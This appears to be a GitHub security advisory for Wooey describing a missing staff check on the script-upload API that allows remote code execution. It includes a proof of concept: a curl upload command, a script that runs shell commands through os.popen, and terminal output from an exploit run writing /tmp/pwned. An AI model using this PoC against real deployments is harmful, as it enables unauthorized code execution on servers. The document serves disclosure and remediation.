# [Security] Missing authorization check in add_or_update_script API allows RCE by any authenticated user #408 ## Vulnerability Overview The `add_or_update_script` API endpoint (`/api/scripts/v1/add-or-update/`) in Wooey only checks if the user is authenticated (`@requires_login`) but does not verify if the user has `staff/admin` privileges. This allows any registered user to upload and register arbitrary Python scripts, which are subsequently executed by Celery worker nodes, leading to **Remote Code Execution (RCE)**. According to the official documentation, scripts should only be uploaded by users with administrator privileges. ## Impact Scope - **Affected Versions**: - `master` branch (current `setup.py` indicates version 0.13.3) - The `woeey/api` module (including `add_or_update_script`) did not exist in v0.13.2 or earlier versions - Users deploying via Docker images (built from `master`) are affected - **Severity**: Critical - **Type**: Broken Access Control → Remote Code Execution - **Impact**: - Any registered (non-admin) user can upload arbitrary Python scripts - Scripts are executed with the privileges of the `woeey` service user, granting: - Read/write access to the application directory - Access to database credentials via environment variables - Network access to internal services (database, message queue) - The ability to establish reverse shells ## Remediation A fix has been submitted in PR #407. The fix adds an `is_staff` check at the entry point of `add_or_update_script`, returning a 403 Forbidden response for non-staff users. This aligns with the security documentation stating that scripts should be uploaded by users with administrator privileges. ## POC Code ### Curl command to upload malicious script ```bash curl -X POST http://localhost:8080/api/scripts/v1/add-or-update/ \ -H "Authorization: Bearer API_KEY" \ -F "evil_script=evil.py" \ -F "default=true" \ -F "ignore_bad_import=true" ``` ### Content of evil.py ```python import argparse, os parser = argparse.ArgumentParser() parser.add_argument("-i", default="1") args = parser.parse_args() print("RCE:", os.popen("id").read()) ``` ### Terminal Output POC ```bash jackie@jackiePro: $ docker exec woeey-celery-1 ls /tmp woeey jackie@jackiePro: $ python3 poc.py -t http://127.0.0.1:8081 -c "whoami | tee /tmp/pwned" [*] Woeey RCE Poc ============================================================ [*] Target: http://127.0.0.1:8081/ [*] Step 1: Registering user (testuser) Registration failed/exists, trying login... Authenticated (is_staff=False, is_superuser=False) [*] Step 2: Uploading malicious script (cmd: whoami | tee /tmp/pwned) Upload successful: audit_1775785305 [*] Step 3: Executing malicious script Job submitted: Job ID#8 [*] Step 4: Waiting for results... Status: completed ============================================================ [*] RCE OUTPUT: ============================================================ [*] RCE Proof hostname: 644f76ec28d91 User: woeey uid=1000(woeey) gid=1000(woeey) groups=1000(woeey) uid=1000(woeey) gid=1000(woeey) groups=1000(woeey) whoami | tee /tmp/pwned woeey jackie@jackiePro: $ docker exec woeey-celery-1 ls /tmp woeey pwned jackie@jackiePro: $ docker exec woeey-celery-1 cat /tmp/pwned woeey jackie@jackiePro: $ ```